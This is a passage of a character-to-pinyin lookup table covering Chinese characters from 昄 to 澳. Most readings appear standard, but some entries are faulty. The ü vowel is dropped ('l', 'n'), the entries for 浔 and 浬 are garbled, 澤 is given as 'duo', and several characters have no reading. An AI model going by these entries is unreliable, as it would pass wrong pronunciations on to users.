ze 昄 ban 昅 jie 昆 kun 昇 sheng 昈 hu 昉 fang 昊 hao 昋 gui 昌 chang 昍 xuan 明 ming 昏 hun 昐 fen 昑 qin 昒 hu 易 yi 昔 xi 昕 xin 昖 yan 昗 ze 昘 fang 昙 tan 昚 shen 昛 ju 昜 yang 昝 zan 昞 bing 星 xing 映 ying 昡 xuan 昢 po 昣 zhen 昤 ling 春 chun 昦 hao 昧 mei 昨 zuo 昩 mo 昪 bian 昫 xu 昬 hun 昭 zhao 昮 zong 是 shi 昰 shi 昱 yu 昲 fei 昳 die,yi 昴 mao 昵 ni 昶 chang 昷 wen 昸 dong 昹 ai 昺 bing 昻 ang 昼 zhou 昽 long 显 xian 昿 kuang 晀 tiao 晁 chao 時 shi 晃 huang 晄 huang 晅 xuan 晆 kui 晇 xu 晈 jiao 晉 jin 晊 zhi 晋 jin 晌 shang 晍 tong 晎 hong 晏 yan 晐 gai 晑 xiang 晒 shai 晓 xiao 晔 ye 晕 yun 晖 hui 晗 han 晘 han 晙 jun 晚 wan 晛 xian 晜 kun 晝 zhou 晞 xi 晟 sheng 晠 sheng 晡 bu 晢 zhe 晣 zhe 晤 wu 晥 wan 晦 hui 晧 hao 晨 chen 晩 wan 晪 tian 晫 zhuo 晬 zui 晭 zhou 普 pu 景 jing 晰 xi 晱 shan 晲 ni 晳 xi 晴 qing 晵 qi 晶 jing 晷 gui 晸 zheng 晹 yi 智 zhi 晻 an,yan 晼 wan 晽 lin 晾 liang 晿 cheng 暀 wang 暁 xiao 暂 zan 暃 fei 暄 xuan 暅 geng 暆 yi 暇 xia 暈 yun 暉 hui 暊 xu 暋 min 暌 kui 暍 ye 暎 ying 暏 shu 暐 wei 暑 shu 暒 qing 暓 mao 暔 nan 暕 jian 暖 nuan 暗 an 暘 yang 暙 chun 暚 yao 暛 suo 暜 pu 暝 ming 暞 jiao 暟 kai 暠 gao 暡 weng 暢 chang 暣 qi 暤 hao 暥 yan 暦 li 暧 ai 暨 ji 暩 ji 暪 men 暫 zan 暬 xie 暭 hao 暮 mu 暯 mu 暰 cong 暱 ni 暲 zhang 暳 hui 暴 bao,pu 暵 han 暶 xuan 暷 chuan 暸 liao 暹 xian 暺 tan 暻 jing 暼 pie 暽 lin 暾 tun 暿 xi 曀 yi 曁 ji 曂 huang 曃 dai 曄 ye 曅 ye 曆 li 曇 tan 曈 tong 曉 xiao 曊 fei 曋 shen 曌 zhao 曍 hao 曎 yi 曏 xiang 曐 xing 曑 shen 曒 jiao 曓 bao 曔 jing 曕 yan 曖 ai 曗 ye 曘 ru 曙 shu 曚 meng 曛 xun 曜 yao 曝 bao,pu 曞 li 曟 chen 曠 kuang 曡 die 曢 曣 yan 曤 huo 曥 lu 曦 xi 曧 rong 曨 long 曩 nang 曪 luo 曫 luan 曬 shai 曭 tang 曮 yan 曯 zhu 曰 yue 曱 yue 曲 qu 曳 ye 更 geng 曵 ye 曶 hu 曷 he 書 shu 曹 cao 曺 cao 曻 曼 man 曽 zeng 曾 ceng,zeng 替 ti 最 zui 朁 can 朂 xu 會 hui 朅 qie 朆 fen 朇 bi 月 yue 有 you 朊 ruan 朋 peng 朌 fen 服 fu 朎 ling 朏 fei 朐 qu 朑 朒 n 朓 tiao 朔 shuo 朕 zhen 朖 lang 朗 lang 朘 juan 朙 ming 朚 huang 望 wang 朜 tun 朝 chao,zhao 朞 ji 期 qi 朠 ying 朡 zong 朢 wang 朣 tong 朤 lang 朥 朦 meng 朧 long 木 mu 朩 未 wei 末 mo 本 ben 札 zha 朮 shu 术 shu,zhu 朰 朱 zhu 朲 ren 朳 ba 朴 piao,po,pu 朵 duo 朶 duo 朷 dao 朸 li 朹 qiu 机 ji 朻 jiu 朼 bi 朽 xiu 朾 cheng 朿 ci 杀 sha 杁 杂 za 权 quan 杄 qian 杅 yu 杆 gan 杇 wu 杈 cha 杉 shan,sha 杊 xun 杋 fan 杌 wu 杍 zi 李 li 杏 xing 材 cai 村 cun 杒 ren 杓 biao,shao 杔 tuo 杕 di,duo 杖 zhang 杗 mang 杘 chi 杙 yi 杚 gu 杛 gong 杜 du 杝 yi 杞 qi 束 shu 杠 gang 条 tiao 杢 jie 杣 mian 杤 来 lai 杦 杧 mang 杨 yang 杩 ma 杪 miao 杫 si 杬 yuan 杭 hang 杮 fei 杯 bei 杰 jie 東 dong 杲 gao 杳 yao 杴 xian 杵 chu 杶 chun 杷 ba,pa 杸 shu 杹 hua 杺 xin 杻 chou,niu 杼 zhu 杽 chou 松 song 板 ban 枀 song 极 ji 枂 wo 枃 jin 构 gou 枅 ji 枆 mao 枇 pi 枈 pi 枉 wang 枊 ang 枋 fang 枌 fen 枍 yi 枎 fu 枏 nan 析 xi 枑 hu 枒 ya 枓 dou 枔 xin 枕 zhen 枖 yao 林 lin 枘 rui 枙 e 枚 mei 枛 zhao 果 guo 枝 zhi 枞 zong,cong 枟 yun 枠 hua 枡 sheng 枢 shu 枣 zao 枤 di 枥 li 枦 lu 枧 jian 枨 cheng 枩 song 枪 qiang 枫 feng 枬 zhan 枭 xiao 枮 xian 枯 ku 枰 ping 枱 si 枲 xi 枳 zhi 枴 guai 枵 xiao 架 jia 枷 jia 枸 ju,gou 枹 bao,fu 枺 mo 枻 yi 枼 ye 枽 ye 枾 shi 枿 nie 柀 bi 柁 tuo 柂 duo 柃 ling 柄 bing 柅 ni 柆 la 柇 he 柈 ban,pan 柉 fan 柊 zhong 柋 dai 柌 ci 柍 yang 柎 fu 柏 bo,bai 某 mou 柑 gan 柒 qi 染 ran 柔 rou 柕 mao 柖 shao 柗 song 柘 zhe 柙 xia 柚 zhu,you 柛 shen 柜 gui,ju 柝 tuo 柞 zha 柟 nan 柠 ning 柡 yong 柢 di 柣 zhi 柤 zha 查 cha,zha 柦 dan 柧 gu 柨 bu 柩 jiu 柪 ao 柫 fu 柬 jian 柭 ba 柮 duo 柯 ke 柰 nai 柱 zhu 柲 bi 柳 liu 柴 chai,zhai 柵 shan 柶 si 柷 zhu 柸 bei 柹 shi 柺 guai 査 cha 柼 yao 柽 cheng 柾 jiu 柿 shi 栀 zhi 栁 liu 栂 mei 栃 li 栄 rong 栅 shan,zha 栆 标 biao 栈 zhan 栉 zhi 栊 long 栋 dong 栌 lu 栍 栎 li,yue 栏 lan 栐 yong 树 shu 栒 xun 栓 shuan 栔 qi 栕 chen 栖 xi,qi 栗 li 栘 yi 栙 xiang 栚 zhen 栛 li 栜 se 栝 gua,kuo 栞 kan 栟 bing 栠 ren 校 xiao,jiao 栢 bai 栣 ren 栤 bing 栥 zi 栦 chou 栧 yi 栨 ci 栩 xu 株 zhu 栫 jian 栬 zui 栭 er 栮 er 栯 you 栰 fa 栱 gong 栲 kao 栳 lao 栴 zhan 栵 lie 栶 yin 样 yang 核 he,hu 根 gen 栺 zhi 栻 shi 格 ge 栽 zai 栾 luan 栿 fu 桀 jie 桁 hang,heng 桂 gui 桃 tao 桄 guang 桅 wei 框 kuang 桇 ru 案 an 桉 an 桊 juan 桋 yi 桌 zhuo 桍 ku 桎 zhi 桏 qiong 桐 tong 桑 sang 桒 sang 桓 huan 桔 jie,ju 桕 jiu 桖 xue 桗 duo 桘 chui 桙 yu 桚 za 桛 桝 桞 liu 桟 zhan 桠 ya 桡 rao 桢 zhen 档 dang 桤 qi 桥 qiao 桦 hua 桧 hui,gui 桨 jiang 桩 zhuang 桪 xun 桫 suo 桬 sha 桭 chen 桮 bei 桯 ting 桰 gua 桱 jing 桲 桳 ben 桴 fu 桵 rui 桶 tong 桷 jue 桸 xi 桹 lang 桺 liu 桻 feng 桼 qi 桽 wen 桾 jun 桿 gan 梀 su 梁 liang 梂 qiu 梃 ting 梄 you 梅 mei 梆 bang 梇 long 梈 peng 梉 zhuang 梊 di 梋 xuan 梌 tu 梍 zao 梎 ao 梏 gu 梐 bi 梑 di 梒 han 梓 zi 梔 zhi 梕 ren 梖 bei 梗 geng 梘 jian 梙 huan 梚 wan 梛 nuo 梜 jia 條 tiao 梞 ji 梟 xiao 梠 l 梡 kuan 梢 shao 梣 cen 梤 fen 梥 song 梦 meng 梧 wu 梨 li 梩 si 梪 dou 梫 qin 梬 ying 梭 suo 梮 ju 梯 ti 械 xie 梱 kun 梲 zhuo 梳 shu 梴 chan 梵 fan 梶 wei 梷 jing 梸 li 梹 bin 梺 梻 梼 tao 梽 zhi 梾 lai 梿 lian 检 jian 棁 zhuo 棂 ling 棃 li 棄 qi 棅 bing 棆 lun 棇 cong 棈 qian 棉 mian 棊 qi 棋 qi 棌 cai 棍 gun 棎 chan 棏 de 棐 fei 棑 pai 棒 bang 棓 bang,bei 棔 hun 棕 zong 棖 cheng 棗 zao 棘 ji 棙 li 棚 peng 棛 yu 棜 yu 棝 gu 棞 jun 棟 dong 棠 tang 棡 gang 棢 wang 棣 di 棤 que 棥 fan 棦 cheng 棧 zhan 棨 qi 棩 yuan 棪 yan 棫 yu 棬 quan 棭 yi 森 sen 棯 shen 棰 chui 棱 leng,ling 棲 qi 棳 zhuo 棴 fu 棵 ke 棶 lai 棷 zou 棸 zou 棹 zhao 棺 guan 棻 fen 棼 fen 棽 chen 棾 qing 棿 ni 椀 wan 椁 guo 椂 lu 椃 hao 椄 jie 椅 yi 椆 chou 椇 ju 椈 ju 椉 cheng 椊 zu 椋 liang 椌 qiang 植 zhi 椎 chui,zhui 椏 ya 椐 ju 椑 bei,pi 椒 jiao 椓 zhuo 椔 zi 椕 bin 椖 peng 椗 ding 椘 chu 椙 椚 椛 検 jian 椝 gui 椞 xi 椟 du 椠 qian 椡 椢 gui 椣 椤 luo 椥 zhi 椦 quan 椧 椨 椩 椪 peng 椫 shan 椬 yi 椭 tuo 椮 sen 椯 duo 椰 ye 椱 fu 椲 wei 椳 wei 椴 duan 椵 jia 椶 zong 椷 jian 椸 yi 椹 shen,zhen 椺 xi 椻 yan 椼 yan 椽 chuan 椾 jian 椿 chun 楀 yu 楁 he 楂 cha,zha 楃 wo 楄 pian 楅 bi 楆 yao 楇 guo 楈 xu 楉 ruo 楊 yang 楋 la 楌 yan 楍 ben 楎 hui 楏 kui 楐 jie 楑 kui 楒 si 楓 feng 楔 xie 楕 tuo 楖 ji 楗 jian 楘 mu 楙 mao 楚 chu 楛 hu,ku 楜 hu 楝 lian 楞 leng 楟 ting 楠 nan 楢 you 楣 mei 楤 cong,song 楥 xuan 楦 xuan 楧 yang 楨 zhen 楩 pian 楪 die 楫 ji 楬 jie 業 ye 楮 chu 楯 dun,shun 楰 yu 楱 cou 楲 wei 楳 mei 楴 di 極 ji 楶 jie 楷 jie,kai 楸 qiu 楹 ying 楺 rou 楻 huang 楼 lou 楽 le 楾 楿 榀 pin 榁 概 gai 榃 tan 榄 lan 榅 wen 榆 yu 榇 chen 榈 l 榉 ju 榊 榋 榌 bi 榍 xie 榎 jia 榏 yi 榐 zhan 榑 fu 榒 nuo 榓 mi 榔 lang 榕 rong 榖 gu 榗 jian 榘 ju 榙 ta 榚 yao 榛 zhen 榜 bang 榝 sha 榞 yuan 榟 zi 榠 ming 榡 su 榢 jia 榣 yao 榤 jie 榥 huang 榦 gan 榧 fei 榨 zha 榩 qian 榪 ma 榫 sun 榬 yuan 榭 xie 榮 rong 榯 shi 榰 zhi 榱 cui 榲 wen 榳 ting 榴 liu 榵 rong 榶 tang 榷 que 榸 zhai 榹 si 榺 sheng 榻 ta 榼 ke 榽 xi 榾 gu 榿 qi 槀 gao 槁 gao 槂 sun 槃 pan 槄 tao 槅 ge 槆 chun 槇 dian 槈 nou 槉 ji 槊 shuo 構 gou 槌 chui 槍 qiang 槎 cha,zha 槏 qian 槐 huai 槑 mei 槒 xu 槓 gang 槔 gao 槕 zhuo 槖 tuo 槗 qiao 様 yang 槙 dian 槚 jia 槛 jian,kan 槜 zui 槝 槞 long 槟 bing,bin 槠 zhu 槡 sang 槢 xi 槣 ji 槤 lian 槥 hui 槦 rong 槧 qian 槨 guo 槩 gai 槪 gai 槫 tuan 槬 hua 槭 qi 槮 sen 槯 cui 槰 peng 槱 you 槲 hu 槳 jiang 槴 hu 槵 huan 槶 gui 槷 nie 槸 yi 槹 gao 槺 kang 槻 gui 槼 gui 槽 cao 槾 man 槿 jin 樀 di 樁 zhuang 樂 le 樃 lang 樄 chen 樅 cong 樆 li 樇 xiu 樈 qing 樉 shang 樊 fan 樋 tong 樌 guan 樍 ze 樎 su 樏 lei 樐 lu 樑 liang 樒 mi 樓 lou 樔 chao 樕 su 樖 ke 樗 chu 樘 cheng,tang 標 biao 樚 lu 樛 jiu 樜 zhe 樝 zha 樞 shu 樟 zhang 樠 man 模 mo,mu 樢 niao 樣 yang 樤 tiao 樥 peng 樦 zhu 樧 sha 樨 xi 権 quan 横 heng 樫 jian 樬 cong 樭 樮 樯 qiang 樰 樱 ying 樲 er 樳 xun 樴 zhi 樵 qiao 樶 zui 樷 cong 樸 pu 樹 shu 樺 hua 樻 gui 樼 zhen 樽 zun 樾 yue 樿 shan 橀 xi 橁 chun 橂 dian 橃 fa 橄 gan 橅 mo 橆 wu 橇 qiao 橈 rao 橉 lin 橊 liu 橋 qiao 橌 xian 橍 run 橎 fan 橏 zhan 橐 tuo 橑 liao 橒 yun 橓 shun 橔 tui 橕 cheng 橖 tang 橗 meng 橘 ju 橙 cheng 橚 su 橛 jue 橝 tan 橞 hui 機 ji 橠 nuo 橡 xiang 橢 tuo 橣 ning 橤 rui 橥 zhu 橦 tong 橧 zeng 橨 fen 橩 qiong 橪 ran 橫 heng 橬 qian 橭 gu 橮 liu 橯 lao 橰 gao 橱 chu 橲 橳 橴 橵 zan 橶 ji 橷 dou 橸 橹 lu 橺 xian 橻 cu 橼 yuan 橽 ta 橾 shu 橿 jiang 檀 tan 檁 lin 檂 nong 檃 yin 檄 xi 檅 hui 檆 shan 檇 zui 檈 xuan 檉 cheng 檊 gan 檋 ju 檌 zui 檍 yi 檎 qin 檏 pu 檐 yan 檑 lei 檒 feng 檓 hui 檔 dang 檕 ji 檖 sui 檗 bo 檘 ping 檙 cheng 檚 chu 檛 zhua 檜 gui 檝 ji 檞 jie 檟 jia 檠 qing 檡 zhai 檢 jian 檣 qiang 檤 dao 檥 yi 檦 biao 檧 song 檨 she 檩 lin 檪 li 檫 cha 檬 meng 檭 yin 檮 chou 檯 tai 檰 mian 檱 qi 檲 tuan 檳 bin 檴 huo 檵 ji 檶 qian 檷 ni 檸 ning 檹 yi 檺 gao 檻 jian 檼 yin 檽 nou 檾 qing 檿 yan 櫀 qi 櫁 mi 櫂 zhao 櫃 gui 櫄 chun 櫅 ji 櫆 kui 櫇 po 櫈 deng 櫉 chu 櫊 櫋 mian 櫌 you 櫍 zhi 櫎 huang 櫏 qian 櫐 lei 櫑 lei 櫒 sa 櫓 lu 櫔 li 櫕 cuan 櫖 l 櫗 mie 櫘 hui 櫙 ou 櫚 l 櫛 zhi 櫜 gao 櫝 du 櫞 yuan 櫟 li 櫠 fei 櫡 zhuo 櫢 sou 櫣 lian 櫤 櫥 chu 櫦 櫧 zhu 櫨 lu 櫩 yan 櫪 li 櫫 zhu 櫬 chen 櫭 jue 櫮 e 櫯 su 櫰 huai 櫱 nie 櫲 yu 櫳 long 櫴 la 櫵 qiao 櫶 xian 櫷 櫸 ju 櫹 xiao 櫺 ling 櫻 ying 櫼 jian 櫽 yin 櫾 you 櫿 ying 欀 xiang 欁 nong 欂 bo 欃 chan 欄 lan 欅 ju 欆 shuang 欇 she 欈 wei 欉 cong 權 quan 欋 qu 欌 欍 欎 yu 欏 luo 欐 li 欑 cuan 欒 luan 欓 dang 欔 qu 欕 欖 lan 欗 lan 欘 zhu 欙 lei 欚 li 欛 ba 欜 nang 欝 yu 欞 ling 欟 guan 欠 qian 次 ci 欢 huan 欣 xin 欤 yu 欥 yu 欦 qian 欧 ou 欨 xu 欩 chao 欪 chu 欫 qi 欬 kai 欭 yi 欮 jue 欰 xu 欱 he 欲 yu 欳 kuai 欴 lang 欵 kuan 欶 shuo 欷 xi 欸 ai,ei 欹 qi 欺 qi 欻 chua,xu 欼 chi 欽 qin 款 kuan 欿 kan 歀 kuan 歁 kan 歂 chuan 歃 sha 歄 gua 歅 yan 歆 xin 歇 xie 歈 yu 歉 qian 歊 xiao 歋 ye 歌 ge 歍 wu 歎 tan 歏 jin 歐 ou 歑 hu 歒 ti 歓 huan 歔 xu 歕 pen 歖 xi 歗 xiao 歘 xu 歙 she,xi 歚 shan 歛 lian 歜 chu 歝 yi 歞 e 歟 yu 歠 chuo 歡 huan 止 zhi 正 zheng 此 ci 步 bu 武 wu 歧 qi 歨 bu 歩 bu 歪 wai 歫 ju 歬 qian 歭 zhi 歮 se 歯 chi 歰 se 歱 zhong 歲 sui 歳 sui 歴 li 歵 ze 歶 yu 歷 li 歸 gui 歹 dai 歺 dai 死 si 歼 jian 歽 zhe 歾 mo 歿 mo 殀 yao 殁 mo 殂 cu 殃 yang 殄 tian 殅 sheng 殆 dai 殇 shang 殈 xu 殉 xun 殊 shu 残 can 殌 jing 殍 piao 殎 qia 殏 qiu 殐 su 殑 qing 殒 yun 殓 lian 殔 yi 殕 fou 殖 zhi 殗 ye 殘 can 殙 hun 殚 dan 殛 ji 殜 die 殝 zhen 殞 yun 殟 wen 殠 chou 殡 bin 殢 ti 殣 jin 殤 shang 殥 yin 殦 chi 殧 jiu 殨 kui 殩 cuan 殪 yi 殫 dan 殬 du 殭 jiang 殮 lian 殯 bin 殰 du 殱 jian 殲 jian 殳 shu 殴 ou 段 duan 殶 zhu 殷 yan,yin 殸 qing 殹 yi 殺 sha 殻 ke 殼 ke 殽 xiao 殾 xun 殿 dian 毀 hui 毁 hui 毂 gu 毃 qiao 毄 ji 毅 yi 毆 ou 毇 hui 毈 duan 毉 yi 毊 xiao 毋 wu 毌 guan 母 mu 毎 mei 每 mei 毐 ai 毑 jie 毒 du 毓 yu 比 bi 毕 bi 毖 bi 毗 pi 毘 pi 毙 bi 毚 chan 毛 mao 毜 毝 毞 bi 毟 毠 jia 毡 zhan 毢 sai 毣 mu 毤 tuo 毥 xun 毦 er 毧 rong 毨 xian 毩 ju 毪 mu 毫 hao 毬 qiu 毭 dou 毮 毯 tan 毰 pei 毱 ju 毲 duo 毳 cui 毴 bi 毵 san 毶 san 毷 mao 毸 sai 毹 shu 毺 shu 毻 tuo 毼 he 毽 jian 毾 ta 毿 san 氀 l 氁 mu 氂 mao 氃 tong 氄 rong 氅 chang 氆 pu 氇 氈 zhan 氉 sao 氊 zhan 氋 meng 氌 lu 氍 qu 氎 die 氏 shi,zhi 氐 di 民 min 氒 jue 氓 mang,meng 气 qi 氕 pie 氖 nai 気 qi 氘 dao 氙 xian 氚 chuan 氛 fen 氜 yang 氝 nei 氞 nei 氟 fu 氠 shen 氡 dong 氢 qing 氣 qi 氤 yin 氥 xi 氦 hai 氧 yang 氨 an 氩 ya 氪 ke 氫 qing 氬 ya 氭 dong 氮 dan 氯 l 氰 qing 氱 yang 氲 yun 氳 yun 水 shui 氵 shui 氶 zheng 氷 bing 永 yong 氹 dang 氺 shui 氻 le 氼 ni 氽 tun 氾 fan 氿 gui,jiu 汀 ting 汁 zhi 求 qiu 汃 pa 汄 ze 汅 mian 汆 cuan 汇 hui 汈 diao 汉 han 汊 cha 汋 zhuo 汌 chuan 汍 wan 汎 fan 汏 tai,da 汐 xi 汑 tuo 汒 mang 汓 qiu 汔 qi 汕 shan 汖 pin 汗 han 汘 qian 汚 wu 汛 xun 汜 si 汝 ru 汞 gong 江 jiang 池 chi 污 wu 汢 汣 jiu 汤 shang,tang 汥 zhi 汦 zhi 汧 qian 汨 mi 汩 gu,yu 汪 wang 汫 jing 汬 jing 汭 rui 汮 jun 汯 hong 汰 tai 汱 tai 汲 ji 汳 bian 汴 bian 汵 gan 汶 men,wen 汷 zhong 汸 fang 汹 xiong 決 jue 汻 hu 汼 niu 汽 qi 汾 fen 汿 xu 沀 xu 沁 qin 沂 yi 沃 wo 沄 yun 沅 yuan 沆 hang 沇 yan 沈 shen 沉 chen 沊 dan 沋 you 沌 dun,zhuan 沍 hu 沎 huo 沏 qi 沐 mu 沑 n 沒 mei 沓 da,ta 沔 mian 沕 mi 沖 chong 沗 hong 沘 bi 沙 sha 沚 zhi 沛 pei 沜 pan 沝 zhui 沞 za 沟 gou 沠 pai 没 mei,mo 沢 ze 沣 feng 沤 ou 沥 li 沦 lun 沧 cang 沨 feng 沩 wei 沪 hu 沫 mo 沬 mei 沭 shu 沮 ju 沯 za 沰 tuo 沱 tuo 沲 duo 河 he 沴 li 沵 mi 沶 yi 沷 fa 沸 fei 油 you 沺 tian 治 zhi 沼 zhao 沽 gu 沾 zhan 沿 yan 泀 si 況 kuang 泂 jiong 泃 ju 泄 xie 泅 qiu 泆 yi 泇 jia 泈 zhong 泉 quan 泊 bo,po 泋 hui 泌 mi,bi 泍 ben 泎 ze 泏 chu 泐 le 泑 you 泒 gu 泓 hong 泔 gan 法 fa 泖 mao 泗 si 泘 hu 泙 peng 泚 ci 泛 fan 泜 zhi 泝 su 泞 ning 泟 cheng 泠 ling 泡 pao 波 bo 泣 qi 泤 si 泥 ni 泦 ju 泧 yue 注 zhu 泩 sheng 泪 lei 泫 xuan 泬 jue 泭 fu 泮 pan 泯 min 泰 tai 泱 yang 泲 ji 泳 yong 泴 guan 泵 beng 泶 xue 泷 long,shuang 泸 lu 泹 dan 泺 luo 泻 xie 泼 po 泽 ze 泾 jing 泿 yin 洀 pan 洁 jie 洂 yie 洃 hui 洄 hui 洅 zai 洆 cheng 洇 yin 洈 wei 洉 hou 洊 jian 洋 yang 洌 lie 洍 si 洎 ji 洏 er 洐 xing 洑 fu 洒 sa 洓 se 洔 zhi 洕 yin 洖 wu 洗 xi,xian 洘 kao 洙 zhu 洚 jiang 洛 luo 洜 luo 洝 an 洞 dong 洟 ti 洠 si 洡 lei 洢 yi 洣 mi 洤 quan 津 jin 洦 po 洧 wei 洨 xiao 洩 xie 洪 hong 洫 xu 洬 su 洭 kuang 洮 tao 洯 qie 洰 ju 洱 er 洲 zhou 洳 ru 洴 ping 洵 xun 洶 xiong 洷 zhi 洸 guang 洹 huan 洺 ming 活 huo 洼 wa 洽 qia 派 pa,pai 洿 wu 浀 qu 流 liu 浂 yi 浃 jia 浄 jing 浅 jian,qian 浆 jiang 浇 jiao 浈 zhen 浉 shi 浊 zhuo 测 ce 浌 浍 hui,kuai 济 ji 浏 liu 浐 chan 浑 hun 浒 xu,hu 浓 nong 浔 haix,h,haixun,xun 浕 jin 浖 lie 浗 qiu 浘 wei 浙 zhe 浚 xun,jun 浛 han 浜 bang 浝 mang 浞 zhuo 浟 you 浠 xi 浡 bo 浢 dou 浣 huan 浤 hong 浥 yi 浦 pu 浧 ying 浨 lan 浩 hao 浪 lang 浫 han 浬 hail,h,haili 浭 geng 浮 fu 浯 wu 浰 li 浱 chun 浲 feng 浳 yi 浴 yu 浵 tong 浶 lao 海 hai 浸 jin 浹 jia 浺 chong 浻 jiong 浼 mei 浽 sui 浾 cheng 浿 pei 涀 xian 涁 shen 涂 tu 涃 kun 涄 ping 涅 nie 涆 han 涇 jing 消 xiao 涉 she 涊 nian 涋 tu 涌 chong,yong 涍 xiao 涎 xian 涏 ting 涐 e 涑 su 涒 tun 涓 juan 涔 cen 涕 ti 涖 li 涗 shui 涘 si 涙 lei 涚 shui 涛 tao 涜 涝 lao 涞 lai 涟 lian 涠 wei 涡 wo,guo 涢 yun 涣 huan 涤 di 涥 heng 润 run 涧 jian 涨 zhang 涩 se 涪 fu 涫 guan 涬 xing 涭 shou 涮 shuan 涯 ya 涰 chuo 涱 zhang 液 ye 涳 kong 涴 wo,yuan 涵 han 涶 tuo 涷 dong 涸 he 涹 wo 涺 ju 涻 she 涼 liang 涽 hun 涾 ta 涿 zhuo 淀 dian 淁 qie 淂 de 淃 juan 淄 zi 淅 xi 淆 xiao 淇 qi 淈 gu 淉 guo 淊 yan 淋 lin 淌 tang 淎 peng 淏 hao 淐 chang 淑 shu 淒 qi 淓 fang 淔 zhi 淕 lu 淖 nao 淗 ju 淘 tao 淙 cong 淚 lei 淛 zhe 淜 ping 淝 fei 淞 song 淟 tian 淠 pi 淡 dan 淢 yu 淣 ni 淤 yu 淥 lu 淦 gan 淧 mi 淨 jing 淩 ling 淪 lun 淫 yin 淬 cui 淭 qu 淮 huai 淯 yu 淰 nian 深 shen 淲 biao 淳 chun 淴 hu 淵 yuan 淶 lai 混 hun 淸 qing 淹 yan 淺 qian 添 tian 淼 miao 淽 zhi 淾 yin 淿 bo 渀 ben 渁 yuan 渂 wen 渃 ruo 渄 fei 清 qing 渆 yuan 渇 ke 済 ji 渉 she 渊 yuan 渋 se 渌 lu 渍 zi 渎 dou,du 渏 yi 渐 jian 渑 mian,sheng 渒 pai 渓 xi 渔 yu 渕 yuan 渖 shen 渗 shen 渘 rou 渙 huan 渚 zhu 減 jian 渜 nuan 渝 yu 渞 qiu 渟 ting 渠 qu 渡 du 渢 feng 渣 zha 渤 bo 渥 wo 渦 wo 渧 ti 渨 wei 温 wen 渪 ru 渫 xie 測 ce 渭 wei 渮 he 港 gang 渰 yan 渱 hong 渲 xuan 渳 mi 渴 ke 渵 mao 渶 ying 渷 yan 游 you 渹 hong 渺 miao 渻 sheng 渼 mei 渽 zai 渾 hun 渿 nai 湀 gui 湁 chi 湂 e 湃 pai 湄 mei 湅 lian 湆 qi 湇 qi 湈 mei 湉 tian 湊 cou 湋 wei 湌 can 湍 tuan 湎 mian 湏 hui 湐 po 湑 xu 湒 ji 湓 pen 湔 jian 湕 jian 湖 hu 湗 feng 湘 xiang 湙 yi 湚 yin 湛 zhan 湜 shi 湝 jie 湞 zhen 湟 huang 湠 tan 湡 yu 湢 bi 湣 min 湤 shi 湥 tu 湦 sheng 湧 yong 湨 ju 湩 dong 湪 tuan 湫 jiao,jiu,qiu 湬 qiu 湭 qiu 湮 yan 湯 tang 湰 long 湱 huo 湲 yuan 湳 nan 湴 ban 湵 you 湶 quan 湷 zhuang 湸 liang 湹 chan 湺 xian 湻 chun 湼 nie 湽 zi 湾 wan 湿 shi 満 man 溁 ying 溂 溃 kui 溄 feng 溅 jian 溆 xu 溇 lou 溈 wei 溉 gai 溊 bo 溋 ying 溌 溍 jin 溎 yan 溏 tang 源 yuan 溑 suo 溒 yuan 溓 lian 溔 yao 溕 meng 準 zhun 溗 cheng 溘 ke 溙 tai 溚 ta 溛 wa 溜 liu 溝 gou 溞 sao 溟 ming 溠 zha 溡 shi 溢 yi 溣 lun 溤 ma 溥 pu 溦 wei 溧 li 溨 zai 溩 wu 溪 xi 溫 wen 溬 qiang 溭 ze 溮 shi 溯 su 溰 ai 溱 qin,zhen 溲 sou 溳 yun 溴 xiu 溵 yin 溶 rong 溷 hun 溸 su 溹 suo 溺 ni,niao 溻 ta 溼 shi 溽 ru 溾 ai 溿 pan 滀 xu,chu 滁 chu 滂 pang 滃 weng 滄 cang 滅 mie 滆 ge 滇 dian 滈 hao 滉 huang 滊 qi 滋 zi 滌 di 滍 zhi 滎 xing 滏 fu 滐 jie 滑 hua 滒 ge 滓 zi 滔 tao 滕 teng 滖 sui 滗 bi 滘 jiao 滙 hui 滚 gun 滛 yin 滜 ze 滝 long 滞 zhi 滟 yan 滠 she 满 man 滢 ying 滣 chun 滤 l 滥 lan 滦 luan 滧 yao 滨 bin 滩 tan 滪 yu 滫 xiu 滬 hu 滭 bi 滮 biao 滯 zhi 滱 kou 滲 shen 滳 shang 滴 di 滵 mi 滶 ao 滷 lu 滸 hu 滹 hu 滺 you 滻 chan 滼 fan 滽 yong 滾 gun 滿 man 漀 qing 漁 yu 漂 piao 漃 ji 漄 ya 漅 chao 漆 qi 漇 xi 漈 ji 漉 lu 漊 lou 漋 long 漌 jin 漍 guo 漎 cong 漏 lou 漐 zhi 漑 gai 漒 qiang 漓 li 演 yan 漕 cao 漖 jiao 漗 cong 漘 chun 漙 tuan 漚 ou 漛 teng 漜 ye 漝 xi 漞 mi 漟 tang 漠 mo 漡 shang 漢 han 漣 lian 漤 lan 漥 wa 漦 chi 漧 gan 漨 feng 漩 xuan 漪 yi 漫 man 漬 zi 漭 mang 漮 kang 漯 ta,luo,lei 漰 peng 漱 shu 漲 zhang 漳 zhang 漴 chong 漵 xu 漶 huan 漷 huo 漸 jian 漹 yan 漺 shuang 漻 liao 漼 cui 漽 ti 漾 yang 漿 jiang 潀 cong 潁 ying 潂 hong 潃 xiu 潄 shu 潅 guan 潆 ying 潇 xiao 潈 zong 潉 潊 xu 潋 lian 潌 潍 wei 潎 pi 潏 yu 潐 jiao 潑 po 潒 dang 潓 hui 潔 jie 潕 wu 潖 pa 潗 ji 潘 pan 潙 wei 潚 su 潛 qian 潜 qian 潝 xi 潞 lu 潟 xi 潠 sun 潡 dun 潢 huang 潣 min 潤 run 潥 su 潦 liao,lao 潧 zhen 潨 cong 潩 yi 潪 zhi 潫 wan 潬 tan 潭 tan,xun 潮 chao 潯 xun 潰 kui 潱 ye 潲 shao 潳 tu 潴 zhu 潵 sa 潶 hei 潷 bi 潸 shan 潹 chan 潺 chan 潻 shu 潼 tong 潽 pu 潾 lin 潿 wei 澀 se 澁 se 澂 cheng 澃 jiong 澄 cheng,deng 澅 hua 澆 jiao 澇 lao 澈 che 澉 gan 澊 cun 澋 jing 澌 si 澍 shu 澎 peng 澏 han 澐 yun 澑 liu 澒 hong 澓 fu 澔 hao 澕 he 澖 xian 澗 jian 澘 shan 澙 xi 澚 澛 lu 澜 lan 澝 ning 澞 yu 澟 lin 澠 mian 澡 zao 澢 dang 澣 huan 澤 duo 澥 xie 澦 yu 澧 li 澨 shi 澩 xue 澪 ling 澫 wan 澬 zi 澭 yong 澮 kuai 澯 can 澰 lian 澱 dian 澲 ye 澳 